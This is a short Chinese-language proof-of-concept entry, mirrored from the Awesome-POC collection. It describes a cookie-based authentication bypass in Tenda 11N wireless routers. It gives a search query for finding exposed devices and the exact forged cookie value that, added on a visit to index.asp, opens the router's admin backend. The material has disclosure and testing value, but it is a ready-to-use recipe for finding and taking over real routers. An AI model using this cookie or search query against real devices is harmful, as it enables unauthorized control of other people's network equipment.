mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
31 lines
490 B
Markdown
31 lines
490 B
Markdown
|
# Tenda 11N无线路由器 Cookie 越权访问漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Tenda 11N无线路由器由于只验证Cookie，导致任意用户伪造Cookie即可进入后台
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Tenda 11N无线路由器
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="TENDA-11N无线路由器"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
添加Cookie, 访问 index.asp 进入后台
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
admin:language=cn
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|